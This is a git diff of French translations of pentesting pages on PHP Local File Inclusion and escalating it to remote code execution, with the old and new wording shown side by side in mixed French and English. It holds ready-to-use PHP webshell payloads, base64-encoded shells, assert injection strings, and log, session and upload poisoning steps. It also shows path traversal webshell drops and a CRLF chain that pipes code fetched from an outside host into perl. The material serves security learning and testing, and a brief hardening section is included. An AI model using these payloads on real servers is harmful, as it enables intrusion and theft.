echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
Vous pouvez aussi utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **descripteurs de fichier 0, 1 et 2** respectivement (je ne suis pas sûr de la façon dont cela pourrait être utile dans une attaque)
Vous pouvez également utiliser **php://stdin, php://stdout and php://stderr** pour accéder aux **file descriptors 0, 1 and 2** respectivement (je ne sais pas trop comment cela pourrait être utile dans une attaque)
### zip:// and rar://
Téléversez un fichier Zip ou Rar contenant une PHPShell et accédez-y.\
Téléversez un fichier Zip ou Rar contenant un PHPShell à l'intérieur et accédez-y.\
Pour pouvoir abuser du protocole rar, il **doit être activé spécifiquement**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
@ -329,7 +328,7 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
Notez que ce protocole est restreint par les configurations php **`allow_url_open`** et **`allow_url_include`**
Notez que ce protocole est restreint par les configurations PHP **`allow_url_open`** et **`allow_url_include`**
### expect://
@ -340,13 +339,13 @@ http://example.com/index.php?page=expect://ls
```
### input://
Spécifiez votre payload dans les paramètres POST :
Spécifiez votre payload dans les paramètres POST:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. Le snippet de code PHP fourni ci-dessous démontre la création d'un fichier `.phar` :
Un fichier `.phar` peut être utilisé pour exécuter du code PHP lorsqu'une application web utilise des fonctions telles que `include` pour le chargement de fichiers. L'extrait de code PHP ci-dessous montre la création d'un fichier `.phar` :
```php
<?php
$phar = new Phar('test.phar');
@ -355,13 +354,13 @@ $phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
```
Pour compiler le fichier `.phar`, exécutez la commande suivante :
Pour compiler le fichier `.phar`, la commande suivante doit être exécutée :
```bash
php --define phar.readonly=0 create_path.php
```
À l'exécution, un fichier nommé `test.phar` sera créé, ce qui pourrait potentiellement être exploité pour tirer parti de vulnérabilités de Local File Inclusion (LFI).
Lors de son exécution, un fichier nommé `test.phar` sera créé, qui pourrait potentiellement être utilisé pour exploiter des vulnérabilités Local File Inclusion (LFI).
Dans les cas où le LFI se contente de lire des fichiers sans exécuter le code PHP contenu, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, il est possible de tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole `phar`.
Dans les cas où la LFI ne fait que lire des fichiers sans exécuter le code PHP à l'intérieur, via des fonctions telles que `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ou `filesize()`, on peut tenter d'exploiter une vulnérabilité de désérialisation. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole `phar`.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
@ -374,32 +373,32 @@ phar-deserialization.md
### CVE-2024-2961
Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters** pour obtenir un RCE. La description détaillée peut être [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Très rapide résumé : un **overflow de 3 bytes** dans le heap PHP a été exploité pour **altérer la chaîne de free chunks** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, ainsi un hook a été ajouté pour appeler **`system`**.\
Il a été possible d'allouer des chunks de tailles spécifiques en abusant davantage des php filters.
Il a été possible d'abuser **de n'importe quelle lecture de fichier arbitraire depuis PHP qui prend en charge php filters** pour obtenir une RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Résumé très rapide : un **débordement de 3 octets** dans le heap PHP a été exploité pour **altérer la chaîne de chunks libres** d'une taille spécifique afin de pouvoir **écrire n'importe quoi à n'importe quelle adresse**, donc un hook a été ajouté pour appeler **`system`**.\
Il était possible d'allouer des chunks de tailles spécifiques en abusant d'autres php filters.
### More protocols
### Plus de protocoles
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
Consultez d'autres[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Écrire en mémoire ou dans un fichier temporaire (pas sûr de l'utilité dans une attaque d'inclusion de fichier)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au filesystem local
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Accès au système de fichiers local
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Accès aux URLs HTTP(s)
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Accès aux URLs FTP(s)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un pattern (Ne renvoie rien d'imprimable, donc pas vraiment utile ici)
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Flux de compression
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Trouver des chemins correspondant à un motif (Cela ne renvoie rien d'imprimable, donc pas vraiment utile ici)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Flux audio (Pas utile pour lire des fichiers arbitraires)
## LFI via 'assert' de PHP
## LFI via PHP's 'assert'
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsque la fonction 'assert' est utilisée, car elle peut exécuter du code contenu dans des chaînes. Cela devient problématique si une entrée contenant des séquences de remontée de répertoires comme ".." est vérifiée mais pas correctement assainie.
Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des chaînes. C'est particulièrement problématique si une entrée contenant des caractères de traversée de répertoire comme ".." est vérifiée mais pas correctement assainie.
Par exemple, un code PHP peut être conçu pour prévenir la traversée de répertoires comme suit :
Par exemple, du code PHP pourrait être conçu pour empêcher la traversée de répertoires ainsi :
```bash
assert("strpos('$file', '..') === false") or die("");
```
Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur pour des attaques de code injection. Pour exploiter cela afin de lire le contenu des fichiers, un attacker pourrait utiliser :
Bien que cela vise à empêcher le traversal, cela crée involontairement un vecteur de code injection. Pour l'exploiter afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
@ -407,41 +406,41 @@ De même, pour exécuter des commandes système arbitraires, on peut utiliser :
```plaintext
' and die(system("id")) or '
```
Il est important de **URL-encode ces payloads**.
Il est important de **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> Cette technique est pertinente dans les cas où vous **contrôlez** le **chemin du fichier** d'une **fonction PHP** qui va **accéder à un fichier** mais où vous ne verrez pas le contenu du fichier (comme un simple appel à **`file()`**) car le contenu n'est pas affiché.
> Cette technique est pertinente dans les cas où vous **contrôlez** le **file path** d'une **PHP function** qui va **access a file** mais dont vous ne verrez pas le contenu (comme un simple appel à **`file()`**) car le contenu n'est pas affiché.
Dans [**cet article incroyable**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) il est expliqué comment un blind path traversal peut être abusé via un filtre PHP pour **exfiltrer le contenu d'un fichier via un error oracle**.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **grand** que la **fonction PHP ouvrant** le fichier déclenchera une **erreur**.
En résumé, la technique utilise l'encodage **"UCS-4LE"** pour rendre le contenu d'un fichier tellement **big** que la **PHP function opening** le fichier déclenchera une **error**.
Ensuite, afin de leak le premier caractère, le filtre **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13** et enfin les filtres **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour placer d'autres caractères au début et les leak.
Ensuite, pour leak the first char le filter **`dechunk`** est utilisé avec d'autres comme **base64** ou **rot13**, et enfin les filters **convert.iconv.UCS-4.UCS-4LE** et **convert.iconv.UTF16.UTF-16BE** sont utilisés pour **place other chars at the beggining and leak them**.
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Pour les détails techniques, consultez l'article mentionné !
For the technical details check the mentioned post!
## LFI2RCE
### Arbitrary File Write via Path Traversal (Webshell RCE)
Quand du code côté serveur qui ingère/télécharge des fichiers construit le chemin de destination en utilisant des données contrôlées par l'utilisateur (par ex., un nom de fichier ou une URL) sans canonicaliser ni valider, des segments `..` et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload dans un répertoire exposé sur le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
Typical exploitation workflow:
- Identifier un primitive d'écriture dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Déterminer les répertoires exposés sur le web. Exemples courants :
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Concevoir un chemin de traversal qui sort du répertoire de stockage prévu vers le webroot, et inclure le contenu de votre webshell.
- Accéder via le navigateur au payload déposé et exécuter des commandes.
- Identifier un write primitive dans un endpoint ou background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
- Déterminer les répertoires exposés au web. Exemples courants :
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
- Créez un traversal path qui sort du répertoire de stockage prévu pour atteindre le webroot, et incluez votre contenu webshell.
- Accédez à la payload déposée et exécutez des commandes.
Notes:
- Le service vulnérable qui effectue l'écriture peut écouter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
- Sur les stacks Java, ces écritures de fichiers sont souvent implémentées avec une simple concaténation `File`/`Paths`. L'absence de canonicalisation/allow-listing est la faille principale.
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
```xml
@ -467,26 +466,26 @@ in.transferTo(out);
</Command>
</JMF>
```
Mesures de durcissement qui empêchent cette classe de vulnérabilités :
- Résoudre vers un chemin canonique et vérifier qu'il est un descendant d'un répertoire de base autorisé.
Durcissement qui neutralise cette classe de bugs :
- Résoudre vers un chemin canonique et s'assurer qu'il est un descendant d'un répertoire de base allow-listed.
- Rejeter tout chemin contenant `..`, des racines absolues, ou des lettres de lecteur ; préférer des noms de fichiers générés.
- Exécuter le processus d'écriture avec un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies.
- Exécuter le writer sous un compte à faibles privilèges et séparer les répertoires d'écriture des racines servies.
## Remote File Inclusion
Expliqué précédemment, [**follow this link**](#remote-file-inclusion).
Explained previously, [**follow this link**](#remote-file-inclusion).
### Par le fichier de log Apache/Nginx
### Via Apache/Nginx log file
Si le serveur Apache ou Nginx est **vulnérable à LFI** via la fonction include, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` ou `/var/log/nginx/access.log`**, d'insérer dans le **user agent** ou dans un **paramètre GET** un php shell comme **`<?php system($_GET['c']); ?>`** puis d'inclure ce fichier
Si le serveur Apache ou Nginx est **vulnérable à LFI** dans la fonction include, vous pouvez essayer d'accéder à **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, placer dans le **user agent** ou dans un **GET parameter** une php shell comme **`<?php system($_GET['c']); ?>`** et inclure ce fichier
> [!WARNING]
> Notez que **si vous utilisez des guillemets doubles** pour le shell au lieu de **guillemets simples**, les guillemets doubles seront modifiés pour la chaîne "_**quote;**_", **PHP renverra une erreur** et **rien d'autre ne sera exécuté**.
> Notez que **si vous utilisez des double quotes** pour le shell au lieu de **simple quotes**, les double quotes seront modifiées pour la chaîne "_**quote;**_", **PHP lèvera une erreur** et **rien d'autre ne sera exécuté**.
>
> De plus, assurez-vous d'**écrire correctement le payload** sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde chance.
> De plus, assurez-vous **d'écrire correctement le payload** sinon PHP renverra une erreur à chaque tentative de chargement du fichier de logs et vous n'aurez pas de seconde opportunité.
Cela peut aussi être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être encodé en URL et cela pourrait détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
Autres chemins de logs possibles:
Cela peut également être fait dans d'autres logs mais **faites attention,** le code à l'intérieur des logs peut être URL encoded et cela peut détruire le Shell. L'en-tête **authorisation "basic"** contient "user:password" en Base64 et il est décodé dans les logs. Le PHPShell peut être inséré dans cet en-tête.\
Other possible log paths:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@ -500,16 +499,16 @@ Autres chemins de logs possibles:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
### Via Email
### Par email
**Envoyez un mail** à un compte interne (user@localhost) contenant votre PHP payload like `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
**Envoyer un mail** à un compte interne (user@localhost) contenant votre payload PHP comme `<?php echo system($_REQUEST["cmd"]); ?>` et essayez d'inclure le mail de l'utilisateur avec un chemin comme **`/var/mail/<USERNAME>`** ou **`/var/spool/mail/<USERNAME>`**
### Via /proc/\*/fd/\*
### Par /proc/\*/fd/\*
1. Upload un grand nombre de shells (par exemple : 100)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (peut être brute forced) et $FD le file descriptor (peut aussi être brute forced)
1. Upload beaucoup de shells (par exemple : 100)
2. Inclure [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), avec $PID = PID du processus (can be brute forced) et $FD le descripteur de fichier (can be brute forced too)
### Via /proc/self/environ
### Par /proc/self/environ
Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété dans le fichier /proc/self/environ
```
@ -518,15 +517,15 @@ User-Agent: <?=phpinfo(); ?>
```
### Via upload
Si vous pouvez upload un fichier, injectez-y simplement le shell payload (e.g : `<?php system($_GET['c']); ?>` ).
Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : `<?php system($_GET['c']); ?>` ).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
Pour que le fichier reste lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf
### Via téléversement d'un fichier ZIP
### Via Zip file upload
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez à :
Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@ -537,42 +536,41 @@ Vérifiez si le site utilise PHP Session (PHPSESSID)
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
En PHP, ces sessions sont stockées dans _/var/lib/php5/sess\\_\[PHPSESSID]\_ fichiers
En PHP, ces sessions sont stockées dans les fichiers _/var/lib/php5/sess\\_\[PHPSESSID]\_
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Définissez le cookie sur `<?php system('cat /etc/passwd');?>`
Définir le cookie sur `<?php system('cat /etc/passwd');?>`
```
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Utilisez le LFI pour inclure le fichier de session PHP
Utilisez la LFI pour inclure le fichier de session PHP
```
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```
### Via ssh
### Par ssh
Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d'accéder à **\<HOME>/.ssh/id_rsa**
### **Via** **vsftpd** _**logs**_
### **Par** **vsftpd** _**logs**_
Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) existe, et que l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
Les logs du serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité Local File Inclusion (LFI) existe, et qu'un accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
1. Injectez un payload PHP dans le champ username lors du processus de login.
2. Après l'injection, utilisez la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_.
1. Injecter une charge utile PHP dans le champ username lors du processus de connexion.
2. Après l'injection, utiliser la LFI pour récupérer les logs du serveur depuis _**/var/log/vsftpd.log**_.
### Via php base64 filter (using base64)
### Par le filtre base64 de PHP (en utilisant base64)
Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter ignore simplement les caractères non-base64. Vous pouvez utiliser cela pour bypasser la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et append "php" au base64. Voici un exemple de payload:
Comme montré dans [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez un base64 qui se termine par ".php", il va simplement ignorer le "." et ajouter "php" au base64. Voici un exemple de payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```
### Via php filters (pas besoin de fichier)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters** pour générer un contenu arbitraire en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **sans avoir besoin de l'écrire** dans un fichier.
### Via php filters (pas de fichier nécessaire)
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser les **php filters pour générer du contenu arbitraire** en sortie. Ce qui veut essentiellement dire que vous pouvez **générer du code php arbitraire** pour l'include **sans avoir besoin de l'écrire** dans un fichier.
{{#ref}}
lfi2rce-via-php-filters.md
@ -580,17 +578,15 @@ lfi2rce-via-php-filters.md
### Via segmentation fault
**Upload** un fichier qui sera stocké comme **temporaire** dans `/tmp`, puis dans la **même requête,** provoquez un **segmentation fault**, et ensuite le **fichier temporaire ne sera pas supprimé** et vous pourrez le retrouver.
**Upload** un fichier qui sera stocké comme **temporary** dans `/tmp`, puis dans la **same request,** provoquez un **segmentation fault**, et alors le **temporary file won't be deleted** et vous pourrez le rechercher.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
### Via Nginx stockage de fichiers temporaires
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est en frontal de PHP, vous pourriez obtenir une RCE avec la technique suivante :
### Via Nginx temp file storage
Si vous trouvez une **Local File Inclusion** et que **Nginx** est placé devant PHP, vous pourriez obtenir une RCE avec la technique suivante :
{{#ref}}
lfi2rce-via-nginx-temp-files.md
@ -598,8 +594,7 @@ lfi2rce-via-nginx-temp-files.md
### Via PHP_SESSION_UPLOAD_PROGRESS
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de cela pour obtenir une RCE :
Si vous trouvez une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pouvez abuser de ceci pour obtenir une RCE :
{{#ref}}
via-php_session_upload_progress.md
@ -607,8 +602,7 @@ via-php_session_upload_progress.md
### Via temp file uploads in Windows
Si vous avez trouvé une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE :
Si vous trouvez une **Local File Inclusion** et que le serveur tourne sous **Windows**, vous pourriez obtenir une RCE :
{{#ref}}
lfi2rce-via-temp-file-uploads.md
@ -616,13 +610,13 @@ lfi2rce-via-temp-file-uploads.md
### Via `pearcmd.php` + URL args
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), le script `/usr/local/lib/phppearcmd.php` existe par défaut dans les images php docker. De plus, il est possible de passer des arguments au script via l'URL parce qu'il est indiqué que si un param URL n'a pas de `=`, il doit être utilisé comme argument. Voir aussi [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) et [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
La requête suivante crée un fichier dans `/tmp/hello.php` avec le contenu `<?=phpinfo()?>` :
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
```
Ce qui suit exploite une vuln CRLF pour obtenir une RCE (depuis [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
L'exemple suivant exploite une vuln CRLF pour obtenir RCE (d'après [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)) :
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@ -631,7 +625,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Via phpinfo() (file_uploads = on)
Si vous trouvez une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE :
Si vous trouvez une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file_uploads = on, vous pouvez obtenir RCE:
{{#ref}}
@ -640,7 +634,7 @@ lfi2rce-via-phpinfo.md
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
Si vous trouvez une **Local File Inclusion** et que vous **pouvez exfiltrer le path** du fichier temporaire MAIS que le **server** vérifie si le **fichier à inclure contient des balises PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
Si vous trouvez une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** **vérifie** si le **fichier à inclure contient des marks PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Race Condition** :
{{#ref}}
@ -649,7 +643,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Via eternal waiting + bruteforce
Si vous pouvez abuser de la LFI pour **téléverser des fichiers temporaires** et faire que le server **bloque** l'exécution PHP, vous pouvez alors **brute force** les noms de fichiers pendant des heures pour trouver le fichier temporaire :
Si vous pouvez abuser du LFI pour **upload temporary files** et faire que le serveur **hang** l'exécution PHP, vous pourriez ensuite **brute force filenames during hours** pour trouver le fichier temporaire :
{{#ref}}
@ -661,11 +655,11 @@ lfi2rce-via-eternal-waiting.md
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même fichier 2 fois pour provoquer cette erreur).
**Je ne sais pas en quoi c'est utile mais ça pourrait l'être.**\
_Même si vous provoquez un PHP Fatal Error, les fichiers temporaires PHP téléversés sont supprimés._
_Même si vous provoquez un PHP Fatal Error, les PHP temporary files uploaded sont supprimés._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## References
## Références
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

26
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -5,34 +5,34 @@
## Intro
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** en sortie. Ce qui signifie essentiellement que vous pouvez **generate arbitrary php code** pour l'include **without needing to write** ce code dans un fichier.
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters to generate arbitrary content** comme sortie. Cela signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'`include` **sans avoir besoin de l'écrire** dans un fichier.
L'objectif du script est essentiellement de **générer une Base64** chaîne au **début** du fichier qui sera **finalement décodée** fournissant le payload désiré qui sera **interprété par `include`**.
Le but du script est essentiellement de **générer une chaîne Base64** au **début** du fichier qui sera **finalement décodée**, fournissant le payload souhaité qui sera **interprété par `include`**.
Les bases pour faire cela sont :
- `convert.iconv.UTF8.CSISO2022KR` ajoutera toujours en préfixe `\x1b$)C` à la chaîne
- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas valides en base64. Il pose quelques problèmes s'il trouve des "=" inattendus mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`.
- `convert.iconv.UTF8.CSISO2022KR` préfixera toujours `\x1b$)C` à la chaîne
- `convert.base64-decode` est extrêmement tolérant, il ignorera essentiellement tous les caractères qui ne sont pas des caractères base64 valides. Il pose des problèmes si il trouve des "=" inattendus, mais ceux-ci peuvent être supprimés avec le filtre `convert.iconv.UTF8.UTF7`
La boucle pour générer du contenu arbitraire est :
1. préfixer `\x1b$)C` à notre chaîne comme décrit ci‑dessus
2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intact et convertit la partie que nous venons de préfixer en une chaîne où le seul caractère base64 valide est la prochaine partie de notre code php encodé en base64
3. base64-decode et base64-encode la chaîne ce qui supprimera tout garbage intermédiaire
4. revenir à 1 si la base64 que nous voulons construire n'est pas encore terminée
5. base64-decode pour obtenir notre code php
1. préfixer `\x1b$)C` à notre chaîne comme décrit ci-dessus
2. appliquer une chaîne de conversions iconv qui laisse notre base64 initial intact et convertit la partie que nous venons de préfixer en une chaîne où le seul caractère base64 valide est la partie suivante de notre code php encodé en base64
3. décoder en base64 puis ré-encoder en base64 la chaîne, ce qui supprimera tous les caractères indésirables intercalés
4. retourner à l'étape 1 si le base64 que nous voulons construire n'est pas encore terminé
5. décoder en base64 pour obtenir notre code php
> [!WARNING]
> **Includes** usually do things like **appending ".php" at the end** of the file, which could diffecult the exploitation of this because you would need to find a .php file with a content that does't kill the exploit... or you **could just use `php://temp` as resource** because it can **have anything appended in the name** (lie +".php") and it will still allow the exploit to work!
